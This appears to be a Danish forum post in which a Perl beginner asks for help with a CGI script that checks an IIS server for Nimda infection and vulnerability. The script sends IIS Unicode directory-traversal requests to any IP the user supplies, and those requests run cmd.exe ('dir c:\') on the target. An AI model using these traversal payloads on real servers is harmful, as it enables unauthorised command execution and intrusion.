Hej
Når jeg kører følgene script sker det nogle gange at browseren timer ud
inden jeg har fået svaret tilbage.
Det tror jeg da er grunden til at jeg bare får en blank side.
Er der en der vil kommentere på scriptet.
Jeg er meget ny i Perl. So be gentle.
#!D:\Perl\bin\Perl --
#Used to scan a IIS to see if it's infected with nimda virus or just
vulnerable.
print "Content-type: text/html\n\n";
$temp = $ENV{'QUERY_STRING'};
@pairs = split(/&/,$temp);
foreach $item (@pairs) {
($key, $content) = split (/=/,$item,2);
$content =~ tr/+/ /;
$content =~ s/%(..)/pack("c",hex($1))/ge;
$fields{$key} = $content;
}
$IP = $fields{"IP"};
use LWP::Simple;
use HTML::Parser;
use Socket;
#
#
#@result = `\\fscan.exe -p 80 $IP`;
#($host,$t) = split(/ /,$result[2],2);
#if ($host eq $IP) {print "<br>Port 80 open.";}
#else {print "<br>Port 80 closed.";}
# Nimda
if ($fields{"nimdainf"} eq 'yes') {
$html = get("
http://$IP/");
defined $html or die "Can't connect to site
http://$IP/";
$flag = 0;
foreach $line ($html) {
if ($line =~ 'readme.eml') {$flag=1;}
}
if ($flag==1) {
print "<b>Infected with Nimda!\n</b><br>";
}
else {print "Safe! no Nimda infection.\n<br>";}
}
# Unicode
if ($fields{"nimdavul"} eq 'yes') {
$flag = 0;
$port = 80;
$target = inet_aton($IP);
my @results = sendraw("GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0\r\n\r\n");
foreach $line (@results) {
if ($line =~ /Directory/) {$flag = 1;}
}
my @results = sendraw("GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0\r\n\r\n");
foreach $line (@results) {
if ($line =~ /Directory/) {$flag = 1;}
}
if ($flag == 1) {
print "<b>Vulnerable for Unicode attacks\n</b><br>";
}
else {
print "Safe from Unicode attacks\n<br>";
}
}
print "<br>Done!";
# By RFP rfp@wiretrip.net
sub sendraw {
my ($pstr)=@_;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
die "Unable to open socket.";
if(connect(S,pack "SnA4x8",2,$port,$target)){
my @in;
select(S); $|=1; print $pstr;
while(<S>){ push @in, $_;}
select(STDOUT); close(S); return @in;
} else { die("Can't connect...\n"); }
}